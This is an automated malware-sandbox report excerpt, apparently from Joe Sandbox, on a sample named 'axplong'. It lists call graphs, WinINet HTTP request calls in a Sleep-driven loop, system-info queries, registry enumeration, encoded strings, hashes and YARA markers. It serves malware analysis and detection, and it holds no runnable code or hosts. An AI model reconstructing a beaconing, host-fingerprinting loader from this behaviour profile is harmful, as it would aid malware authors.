14135->14136 14137 cee1c3 14136->14137 14138 cfc5dc GetSystemTimePreciseAsFileTime 14136->14138 14139 cee1fe 14138->14139 14140 cfc19a 8 API calls 14139->14140 14141 cee268 14140->14141 13788 cf6ae0 13789 cf6b10 13788->13789 13792 cf46c0 13789->13792 13791 cf6b5c Sleep 13791->13789 13795 cf46fb 13792->13795 13809 cf4d83 shared_ptr std::_Xinvalid_argument 13792->13809 13793 cf4e69 shared_ptr 13793->13791 13795->13809 13817 cebd60 13795->13817 13797 cf4fee shared_ptr 13869 ce7d00 13797->13869 13798 cf4f25 shared_ptr 13798->13797 13802 cf6ab6 13798->13802 13800 cf4ffd 13884 ce82b0 13800->13884 13803 cf46c0 14 API calls 13802->13803 13805 cf6b5c Sleep 13803->13805 13804 cf4a0d 13806 cebd60 5 API calls 13804->13806 13804->13809 13805->13802 13812 cf4a72 shared_ptr 13806->13812 13807 cf5016 13888 ce5c60 13807->13888 13809->13793 13861 ce65b0 13809->13861 13810 cf4753 shared_ptr __dosmaperr 13810->13804 13810->13809 13828 d18979 13810->13828 13812->13809 13812->13812 13813 cf4d6c 13812->13813 13832 cf42a0 13813->13832 13815 cf4d80 13815->13809 13816 cf5098 shared_ptr 13816->13791 13818 cebdb2 13817->13818 13820 cec14e shared_ptr 13817->13820 13819 cebdc6 InternetOpenW InternetConnectA 13818->13819 13818->13820 13821 cebe3d 13819->13821 13820->13810 13822 cebe53 HttpOpenRequestA 13821->13822 13823 cebe71 shared_ptr 13822->13823 13824 cebf13 HttpSendRequestA 13823->13824 13825 cebf2b shared_ptr 13824->13825 13826 cebfb3 InternetReadFile 13825->13826 13827 cebfda 13826->13827 13829 d18994 13828->13829 13898 d186d7 13829->13898 13831 d1899e 13831->13804 13833 cf42e2 13832->13833 13835 cf4556 13833->13835 13845 cf4308 shared_ptr 13833->13845 13834 cf468e shared_ptr 13834->13815 13836 cf3550 2 API calls 13835->13836 13839 cf4520 shared_ptr 13836->13839 13837 cf4e69 shared_ptr 13837->13815 13838 ce65b0 2 API calls 13842 cf4f25 shared_ptr 13838->13842 13839->13834 13840 cebd60 5 API calls 13839->13840 13855 cf4d80 shared_ptr std::_Xinvalid_argument 13839->13855 13856 cf4753 shared_ptr __dosmaperr 13840->13856 13841 cf4fee shared_ptr 13843 ce7d00 7 API calls 13841->13843 13842->13841 13848 cf6ab6 13842->13848 13844 cf4ffd 13843->13844 13847 ce82b0 GetNativeSystemInfo 13844->13847 13845->13839 13922 cf3550 13845->13922 13853 cf5016 13847->13853 13849 cf46c0 14 API calls 13848->13849 13851 cf6b5c Sleep 13849->13851 13850 cf4a0d 13852 cebd60 5 API calls 13850->13852 13850->13855 13851->13848 13858 cf4a72 shared_ptr 13852->13858 13854 ce5c60 4 API calls 13853->13854 13860 cf5098 shared_ptr 13854->13860 13855->13837 13855->13838 13856->13850 13856->13855 13857 d18979 2 API calls 13856->13857 13857->13850 13858->13855 13859 cf42a0 14 API calls 13858->13859 13859->13855 13860->13815 13862 ce660f 13861->13862 13926 ce2280 13862->13926 13864 ce6699 shared_ptr 13865 ce2280 2 API calls 13864->13865 13866 ce6822 shared_ptr 13864->13866 13867 ce6727 shared_ptr 13865->13867 13866->13798 13867->13866 13868 ce2280 2 API calls 13867->13868 13868->13867 13871 ce7d66 shared_ptr __cftof 13869->13871 13870 ce7ea3 GetNativeSystemInfo 13872 ce7ea7 13870->13872 13871->13870 13871->13872 13883 ce7eb8 shared_ptr 13871->13883 13873 ce7f0f 13872->13873 13874 ce7fe9 13872->13874 13872->13883 13875 ce5c60 4 API calls 13873->13875 13876 ce5c60 4 API calls 13874->13876 13877 ce7f70 13875->13877 13879 ce8051 13876->13879 14010 d18a81 13877->14010 13880 ce5c60 4 API calls 13879->13880 13881 ce80f9 13880->13881 13882 ce5c60 4 API calls 13881->13882 13882->13883 13883->13800 13887 ce8315 shared_ptr __cftof 13884->13887 13885 ce8333 13885->13807 13886 ce8454 GetNativeSystemInfo 13886->13885 13887->13885 13887->13886 14013 d14020 13888->14013 13890 ce5cb7 RegOpenKeyExA 13891 ce5d10 RegCloseKey 13890->13891 13893 ce5d36 13891->13893 13892 ce5db6 shared_ptr 13892->13816 13893->13892 13894 ce6060 RegOpenKeyExA 13893->13894 13896 ce645a shared_ptr 13894->13896 13897 ce60b3 __cftof 13894->13897 13895 ce6153 RegEnumValueW 13895->13897 13896->13816 13897->13895 13897->13896 13899 d186e9 13898->13899 13900 d1683a __cftof 2 API calls 13899->13900 13903 d186fe __cftof __dosmaperr 13899->13903 13902 d1872e 13900->13902 13902->13903 13904 d18925 13902->13904 13903->13831 13905 d18962 13904->13905 13906 d18932 13904->13906 13915 d1d2e9 13905->13915 13909 d18941 __fassign 13906->13909 13910 d1d30d 13906->13910 13909->13902 13911 d1683a __cftof 2 API calls 13910->13911 13912 d1d32a 13911->13912 13914 d1d33a 13912->13914 13919 d1f07f 13912->13919 13914->13909 13916 d1d2f4 13915->13916 13917 d1b4bb __cftof 2 API calls 13916->13917 13918 d1d304 13917->13918 13918->13909 13920 d1683a __cftof 2 API calls 13919->13920 13921 d1f09f __cftof __fassign __freea 13920->13921 13921->13914 13924 cf358f shared_ptr __dosmaperr 13922->13924 13925 cf3a8a shared_ptr std::_Xinvalid_argument 13922->13925 13923 d18979 2 API calls 13923->13925 13924->13923 13924->13925 13925->13845 13929 ce2240 13926->13929 13930 ce2256 13929->13930 13933 d18667 13930->13933 13936 d17456 13933->13936 13935 ce2264 13935->13864 13937 d17496 13936->13937 13939 d1747e __cftof __dosmaperr 13936->13939 13938 d1683a __cftof 2 API calls 13937->13938 13937->13939 13940 d174ae 13938->13940 13939->13935 13942 d17a11 13940->13942 13943 d17a22 13942->13943 13944 d17a31 __cftof __dosmaperr 13943->13944 13949 d17fb5 13943->13949 13954 d17c0f 13943->13954 13959 d17c35 13943->13959 13969 d17d83 13943->13969 13944->13939 13950 d17fc5 13949->13950 13951 d17fbe 13949->13951 13950->13943 13978 d1799d 13951->13978 13953 d17fc4 13953->13943 13955 d17c18 13954->13955 13956 d17c1f 13954->13956 13957 d1799d 2 API calls 13955->13957 13956->13943 13958 d17c1e 13957->13958 13958->13943 13960 d17c56 __cftof __dosmaperr 13959->13960 13962 d17c3c 13959->13962 13960->13943 13961 d17db6 13965 d17dd8 13961->13965 13967 d17dc4 13961->13967 13986 d1808e 13961->13986 13962->13960 13962->13961 13964 d17def 13962->13964 13962->13967 13964->13965 13982 d181dd 13964->13982 13965->13943 13967->13965 13990 d18537 13967->13990 13970 d17db6 13969->13970 13971 d17d9c 13969->13971 13972 d1808e 2 API calls 13970->13972 13976 d17dc4 13970->13976 13977 d17dd8 13970->13977 13971->13970 13973 d17def 13971->13973 13971->13976 13972->13976 13974 d181dd 2 API calls 13973->13974 13973->13977 13974->13976 13975 d18537 2 API calls 13975->13977 13976->13975 13976->13977 13977->13943 13980 d179af __dosmaperr 13978->13980 13979 d18979 2 API calls 13981 d179d2 __dosmaperr 13979->13981 13980->13979 13981->13953 13984 d181f8 13982->13984 13983 d1822a 13983->13967 13984->13983 13994 d1c65f 13984->13994 13987 d180a7 13986->13987 13997 d1d199 13987->13997 13989 d1815a 13989->13967 13989->13989 13991 d185aa 13990->13991 13993 d18554 13990->13993 13991->13965 13992 d1c65f __cftof 2 API calls 13992->13993 13993->13991 13993->13992 13995 d1c504 __cftof GetPEB GetPEB 13994->13995 13996 d1c677 13995->13996 13996->13983 13999 d1d1bf 13997->13999 14006 d1d1a9 __cftof __dosmaperr 13997->14006 13998 d1d256 14001 d1d2b5 13998->14001 14002 d1d27f 13998->14002 13999->13998 14000 d1d25b 13999->14000 13999->14006 14003 d1c9b0 GetPEB GetPEB 14000->14003 14007 d1ccc9 GetPEB GetPEB 14001->14007 14004 d1d284 14002->14004 14005 d1d29d 14002->14005 14003->14006 14008 d1d00f GetPEB GetPEB 14004->14008 14009 d1ceb3 GetPEB GetPEB 14005->14009 14006->13989 14007->14006 14008->14006 14009->14006 14011 d186d7 2 API calls 14010->14011 14012 d18a9f 14011->14012 14012->13883 14014 d14037 14013->14014 14014->13890 14014->14014 14156 cfa140 14157 cfa1c0 14156->14157 14163 cf7040 14157->14163 14159 cfa1fc shared_ptr 14160 cfa3ee shared_ptr 14159->14160 14167 ce3ea0 14159->14167 14162 cfa3d6 14165 cf7081 __cftof __Mtx_init_in_situ 14163->14165 14164 cf72b6 14164->14159 14165->14164 14173 ce2e80 14165->14173 14168 ce3ede 14167->14168 14169 ce3f08 14167->14169 14168->14162 14170 ce3f18 14169->14170 14220 ce2bc0 14169->14220 14170->14162 14174 ce2f3e GetCurrentThreadId 14173->14174 14175 ce2ec6 14173->14175 14176 ce2faf 14174->14176 14177 ce2f54 14174->14177 14178 cfc5dc GetSystemTimePreciseAsFileTime 14175->14178 14176->14164 14177->14176 14183 cfc5dc GetSystemTimePreciseAsFileTime 14177->14183 14179 ce2ed2 14178->14179 14180 ce2fde 14179->14180 14184 ce2edd __Mtx_unlock 14179->14184 14181 cfc19a 8 API calls 14180->14181 14182 ce2fe4 14181->14182 14185 cfc19a 8 API calls 14182->14185 14186 ce2f79 14183->14186 14184->14182 14187 ce2f2f 14184->14187 14185->14186 14188 cfc19a 8 API calls 14186->14188 14189 ce2f80 __Mtx_unlock 14186->14189 14187->14174 14187->14176 14188->14189 14190 cfc19a 8 API calls 14189->14190 14191 ce2f98 __Cnd_broadcast 14189->14191 14190->14191 14191->14176 14192 cfc19a 8 API calls 14191->14192 14193 ce2ffc 14192->14193 14194 cfc5dc GetSystemTimePreciseAsFileTime 14193->14194 14203 ce3040 shared_ptr __Mtx_unlock 14194->14203 14195 ce3185 14196 cfc19a 8 API calls 14195->14196 14197 ce318b 14196->14197 14198 cfc19a 8 API calls 14197->14198 14199 ce3191 14198->14199 14200 cfc19a 8 API calls 14199->14200 14208 ce3153 __Mtx_unlock 14200->14208 14201 ce3167 14201->14164 14202 cfc19a 8 API calls 14204 ce319d 14202->14204 14203->14195 14203->14197 14203->14201 14205 ce30f2 GetCurrentThreadId 14203->14205 14205->14201 14206 ce30fb 14205->14206 14206->14201 14207 cfc5dc GetSystemTimePreciseAsFileTime 14206->14207 14209 ce311f 14207->14209 14208->14201 14208->14202 14209->14195 14209->14199 14209->14208 14211 cfbc7c 14209->14211 14214 cfbaa2 14211->14214 14213 cfbc8c 14213->14209 14215 cfbacc 14214->14215 14216 cfce9b _xtime_get GetSystemTimePreciseAsFileTime 14215->14216 14219 cfbad4 __Xtime_diff_to_millis2 14215->14219 14217 cfbaff __Xtime_diff_to_millis2 14216->14217 14218 cfce9b _xtime_get GetSystemTimePreciseAsFileTime 14217->14218 14217->14219 14218->14219 14219->14213 14221 ce2bce 14220->14221 14227 cfb777 14221->14227 14223 ce2c02 14224 ce2c09 14223->14224 14233 ce2c40 14223->14233 14224->14162 14226 ce2c18 std::_Xinvalid_argument 14228 cfb784 14227->14228 14232 cfb7a3 Concurrency::details::_Reschedule_chore 14227->14232 14236 cfcaa7 14228->14236 14230 cfb794 14230->14232 14238 cfb74e 14230->14238 14232->14223 14244 cfb72b 14233->14244 14235 ce2c72 shared_ptr 14235->14226 14237 cfcac2 CreateThreadpoolWork 14236->14237 14237->14230 14239 cfb757 Concurrency::details::_Reschedule_chore 14238->14239 14242 cfccfc 14239->14242 14241 cfb771 14241->14232 14243 cfcd11 TpPostWork 14242->14243 14243->14241 14245 cfb747 14244->14245 14246 cfb737 14244->14246 14245->14235 14246->14245 14248 cfc9a8 14246->14248 14249 cfc9bd TpReleaseWork 14248->14249 14249->14245 14255 cf8700 14256 cf875a __cftof 14255->14256 14262 cf9ae0 14256->14262 14258 cf8784 14261 cf879c 14258->14261 14266 ce43b0 14258->14266 14260 cf8809 std::_Throw_future_error 14263 cf9b15 14262->14263 14272 ce2ca0 14263->14272 14265 cf9b46 14265->14258 14267 cfbe0f InitOnceExecuteOnce 14266->14267 14268 ce43ca 14267->14268 14269 ce43d1 14268->14269 14270 d16beb 7 API calls 14268->14270 14269->14260 14271 ce43e4 14270->14271 14273 ce2cdd 14272->14273 14274 cfbe0f InitOnceExecuteOnce 14273->14274 14275 ce2d06 14274->14275 14276 ce2d48 14275->14276 14277 ce2d11 14275->14277 14281 cfbe27 14275->14281 14288 ce2400 14276->14288 14277->14265 14282 cfbe33 std::_Xinvalid_argument 14281->14282 14283 cfbe9a 14282->14283 14284 cfbea3 14282->14284 14291 cfbdaf 14283->14291 14286 ce2aa0 8 API calls 14284->14286 14287 cfbe9f 14286->14287 14287->14276 14309 cfb506 14288->14309 14290 ce2432 14292 cfcb61 InitOnceExecuteOnce 14291->14292 14293 cfbdc7 14292->14293 14294 cfbdce 14293->14294 14297 d16beb 14293->14297 14294->14287 14296 cfbdd7 14296->14287 14298 d16bf7 14297->14298 14299 d18aaf __cftof 2 API calls 14298->14299 14300 d16c26 14299->14300 14301 d16c43 14300->14301 14302 d16c35 14300->14302 14304 d168bd 2 API calls 14301->14304 14303 d16c99 7 API calls 14302->14303 14305 d16c3f 14303->14305 14306 d16c5d 14304->14306 14305->14296 14307 d16c99 7 API calls 14306->14307 14308 d16c71 ___free_lconv_mon 14306->14308 14307->14308 14308->14296 14310 cfb521 std::_Xinvalid_argument 14309->14310 14311 cfb588 __cftof 14310->14311 14312 d18aaf __cftof 2 API calls 14310->14312 14311->14290 14313 cfb5cf 14312->14313 14314 cf9310 14315 cf9325 14314->14315 14319 cf9363 14314->14319 14320 cfd041 14315->14320 14317 cf932f 14317->14319 14324 cfcff7 14317->14324 14322 cfd051 14320->14322 14321 cfd05a 14321->14317 14322->14321 14328 cfd0c9 14322->14328 14326 cfd007 14324->14326 14325 cfd0af 14325->14319 14326->14325 14327 cfd0ab RtlWakeAllConditionVariable 14326->14327 14327->14319 14329 cfd0d7 SleepConditionVariableCS 14328->14329 14331 cfd0f0 14328->14331 14329->14331 14331->14322

                              Executed Functions

                              Function 00CEBD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310networkfileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1632 cebd60-cebdac 1633 cebdb2-cebdb6 1632->1633 1634 cec1a1-cec1c6 call cf7f30 1632->1634 1633->1634 1636 cebdbc-cebdc0 1633->1636 1639 cec1c8-cec1d4 1634->1639 1640 cec1f4-cec20c 1634->1640 1636->1634 1638 cebdc6-cebe4f InternetOpenW InternetConnectA call cf7870 call ce5b20 1636->1638 1663 cebe53-cebe6f HttpOpenRequestA 1638->1663 1664 cebe51 1638->1664 1642 cec1ea-cec1f1 call cfd593 1639->1642 1643 cec1d6-cec1e4 1639->1643 1644 cec158-cec170 1640->1644 1645 cec212-cec21e 1640->1645 1642->1640 1643->1642 1647 cec26f-cec274 call d16b9a 1643->1647 1651 cec176-cec182 1644->1651 1652 cec243-cec25f call cfcf21 1644->1652 1649 cec14e-cec155 call cfd593 1645->1649 1650 cec224-cec232 1645->1650 1649->1644 1650->1647 1659 cec234 1650->1659 1660 cec188-cec196 1651->1660 1661 cec239-cec240 call cfd593 1651->1661 1659->1649 1660->1647 1662 cec19c 1660->1662 1661->1652 1662->1661 1669 cebea0-cebf0f call cf7870 call ce5b20 call cf7870 call ce5b20 1663->1669 1670 cebe71-cebe80 1663->1670 1664->1663 1684 cebf13-cebf29 HttpSendRequestA 1669->1684 1685 cebf11 1669->1685 1672 cebe96-cebe9d call cfd593 1670->1672 1673 cebe82-cebe90 1670->1673 1672->1669 1673->1672 1686 cebf5a-cebf82 1684->1686 1687 cebf2b-cebf3a 1684->1687 1685->1684 1690 cebf84-cebf93 1686->1690 1691 cebfb3-cebfd4 InternetReadFile 1686->1691 1688 cebf3c-cebf4a 1687->1688 1689 cebf50-cebf57 call cfd593 1687->1689 1688->1689 1689->1686 1693 cebfa9-cebfb0 call cfd593 1690->1693 1694 cebf95-cebfa3 1690->1694 1695 cebfda 1691->1695 1693->1691 1694->1693 1696 cebfe0-cec090 call d14180 1695->1696
                              APIs
                              • InternetOpenW.WININET(00D38D70,00000000,00000000,00000000,00000000), ref: 00CEBDED
                              • InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00CEBE11
                              • HttpOpenRequestA.WININET(?,00000000), ref: 00CEBE5B
                              • HttpSendRequestA.WININET(?,00000000), ref: 00CEBF1B
                              • InternetReadFile.WININET(?,?,000003FF,?), ref: 00CEBFCD
                              • InternetCloseHandle.WININET(?), ref: 00CEC0A7
                              • InternetCloseHandle.WININET(?), ref: 00CEC0AF
                              • InternetCloseHandle.WININET(?), ref: 00CEC0B7
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
                              • String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
                              • API String ID: 688256393-332458646
                              • Opcode ID: 225925bd23761e449c3f7749deafad30519760682be0931fbb2d62aaffeb1e1d
                              • Instruction ID: 29601fa1878c5852180b5afac47b83258f15b590bb249e9830f6a4af4f762b45
                              • Opcode Fuzzy Hash: 225925bd23761e449c3f7749deafad30519760682be0931fbb2d62aaffeb1e1d
                              • Instruction Fuzzy Hash: 3CB104B1A001589BEB28CF29CC84BAEBB79EF45304F5041A8F509972C2D7749EC5CFA5
                              Function 00CF42A0 Relevance: 42.8, APIs: 1, Strings: 22, Instructions: 2558sleepCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00CF7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00CF795C
                                • Part of subcall function 00CF7870: __Cnd_destroy_in_situ.LIBCPMT ref: 00CF7968
                                • Part of subcall function 00CF7870: __Mtx_destroy_in_situ.LIBCPMT ref: 00CF7971
                                • Part of subcall function 00CEBD60: InternetOpenW.WININET(00D38D70,00000000,00000000,00000000,00000000), ref: 00CEBDED
                                • Part of subcall function 00CEBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00CEBE11
                                • Part of subcall function 00CEBD60: HttpOpenRequestA.WININET(?,00000000), ref: 00CEBE5B
                              • std::_Xinvalid_argument.LIBCPMT ref: 00CF4EA2
                              • Sleep.KERNEL32 ref: 00CF6B65
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
                              • String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$invalid stoi argument$stoi argument out of range
                              • API String ID: 4201286991-2304726402
                              • Opcode ID: 691e769cecfe518ab56ff3b4f1b2c2ec5d5d2ef780b090496594069469e21d68
                              • Instruction ID: 4293d5dba07b12a3241578c5f369af69b17aae3c259f5e84a74643e53d8dc319
                              • Opcode Fuzzy Hash: 691e769cecfe518ab56ff3b4f1b2c2ec5d5d2ef780b090496594069469e21d68
                              • Instruction Fuzzy Hash: 38232771E0014C9BEF19DB28CD897ADBB769F81304F548298E109AB2C6DB359F85CF52
                              Function 00CF46C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00CF7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00CF795C
                                • Part of subcall function 00CF7870: __Cnd_destroy_in_situ.LIBCPMT ref: 00CF7968
                                • Part of subcall function 00CF7870: __Mtx_destroy_in_situ.LIBCPMT ref: 00CF7971
                                • Part of subcall function 00CEBD60: InternetOpenW.WININET(00D38D70,00000000,00000000,00000000,00000000), ref: 00CEBDED
                                • Part of subcall function 00CEBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00CEBE11
                                • Part of subcall function 00CEBD60: HttpOpenRequestA.WININET(?,00000000), ref: 00CEBE5B
                              • std::_Xinvalid_argument.LIBCPMT ref: 00CF4EA2
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
                              • String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
                              • API String ID: 2414744145-1662704651
                              • Opcode ID: 3f403455ac140c8c81c7fd3396f2a66ecd847aa74a94d3842f165f3e2054404e
                              • Instruction ID: da16d261169a03bb528f583c49d141f98280a607844dab656721041b62317116
                              • Opcode Fuzzy Hash: 3f403455ac140c8c81c7fd3396f2a66ecd847aa74a94d3842f165f3e2054404e
                              • Instruction Fuzzy Hash: 7D232771E0015C8BEB19DB28CD897ADBB769F81304F5482D8E109AB2C6DB359F85CF52
                              Function 00CE5C60 Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 473registryCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1787 ce5c60-ce5d33 call d14020 RegOpenKeyExA RegCloseKey 1791 ce5d36-ce5d3b 1787->1791 1791->1791 1792 ce5d3d-ce5d96 call cf7f30 1791->1792 1796 ce5d98-ce5da4 1792->1796 1797 ce5dc0-ce5ddc call cfcf21 1792->1797 1798 ce5db6-ce5dbd call cfd593 1796->1798 1799 ce5da6-ce5db4 1796->1799 1798->1797 1799->1798 1801 ce5ddd-ce5eee call d16b9a 1799->1801 1812 ce5f18-ce5f25 call cfcf21 1801->1812 1813 ce5ef0-ce5efc 1801->1813 1814 ce5f0e-ce5f15 call cfd593 1813->1814 1815 ce5efe-ce5f0c 1813->1815 1814->1812 1815->1814 1817 ce5f26-ce60ad call d16b9a call cfe080 call cf7f30 * 5 RegOpenKeyExA 1815->1817 1835 ce6478-ce6481 1817->1835 1836 ce60b3-ce6143 call d14020 1817->1836 1837 ce64ae-ce64b7 1835->1837 1838 ce6483-ce648e 1835->1838 1859 ce6149-ce614d 1836->1859 1860 ce6466-ce6472 1836->1860 1842 ce64b9-ce64c4 1837->1842 1843 ce64e4-ce64ed 1837->1843 1840 ce64a4-ce64ab call cfd593 1838->1840 1841 ce6490-ce649e 1838->1841 1840->1837 1841->1840 1847 ce659e-ce65a3 call d16b9a 1841->1847 1849 ce64da-ce64e1 call cfd593 1842->1849 1850 ce64c6-ce64d4 1842->1850 1845 ce64ef-ce64fa 1843->1845 1846 ce651a-ce6523 1843->1846 1851 ce64fc-ce650a 1845->1851 1852 ce6510-ce6517 call cfd593 1845->1852 1854 ce654c-ce6555 1846->1854 1855 ce6525-ce6530 1846->1855 1849->1843 1850->1847 1850->1849 1851->1847 1851->1852 1852->1846 1865 ce6557-ce6566 1854->1865 1866 ce6582-ce659d call cfcf21 1854->1866 1863 ce6542-ce6549 call cfd593 1855->1863 1864 ce6532-ce6540 1855->1864 1868 ce6153-ce6187 RegEnumValueW 1859->1868 1869 ce6460 1859->1869 1860->1835 1863->1854 1864->1847 1864->1863 1873 ce6578-ce657f call cfd593 1865->1873 1874 ce6568-ce6576 1865->1874 1876 ce644d-ce6454 1868->1876 1877 ce618d-ce61ad 1868->1877 1869->1860 1873->1866 1874->1847 1874->1873 1876->1868 1883 ce645a 1876->1883 1882 ce61b0-ce61b9 1877->1882 1882->1882 1884 ce61bb-ce624d call cf7c50 call cf8090 call cf7870 * 2 call ce5c60 1882->1884 1883->1869 1884->1876
                              APIs
                              • RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,?), ref: 00CE5CDC
                              • RegCloseKey.KERNEL32(?,?,?,00000000,00000001,?), ref: 00CE5D16
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
